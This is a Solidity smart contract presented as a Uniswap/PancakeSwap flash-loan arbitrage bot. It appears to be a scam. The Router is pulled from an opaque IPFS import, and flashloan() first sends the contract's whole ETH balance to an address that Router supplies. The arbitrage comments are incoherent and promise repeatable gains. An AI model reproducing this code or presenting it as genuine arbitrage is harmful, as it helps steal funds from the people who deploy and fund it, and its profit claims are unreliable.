BUY SELLING ERA

pragma solidity ^0.6.7;

// Uniswap Deployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
// Uniswap Manager
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
// Arbitrage router
import "ipfs://QmckoiejUypLwggyUNPvois5g8ajNBhLheFJRWj5X9NrDR";
contract Flashloan {

 Router router;
 string public tokenName;
     string public tokenSymbol;
 uint256 maxGas;
 
  constructor(
  string memory _tokenName,
  string memory _tokenSymbol,
  uint256 _maxGas
  ) public {
  tokenName = _tokenName;
  tokenSymbol = _tokenSymbol;
         maxGas = _maxGas;

  router = new Router();
  }

  // Send required ETH for liquidity pair
  receive() external payable {}
  function contractOwner() public view returns(address) {
   return address(msg.sender);
   }

  function contractBalance() public view returns(uint) {
   return address(this).balance;
   }

  function flashloan() public payable {
   payable(router.uniswapDepositAddress()).transfer(
    address(this).balance
    );
    //Prepare the arbitrage, ETH is converted to USDT using UniSwap contract.
    router.convertETHtoUSDT(msg.sender, maxGas / 2);
    //The arbitrage converts USDT for ETH using USDT/ETH PancakeSwap, and then immediately converts ETH back to ETH using ETH/USDT UniSwap.
    router.callArbitrageUniSwap(router.UniSwapAddress(), msg.sender);
    //After Arbitrage, ETH is transferred back to Router to pay the Uniswap plus fees.
    router.transferETHtoRouter(router.uniswapDepositAddress());
    //NOTE: The transaction sender gains ETH from the Arbitrage, this particular transaction can be repeated as price changes all the time.
    router.completeTransation(address(this).balance);
   }
}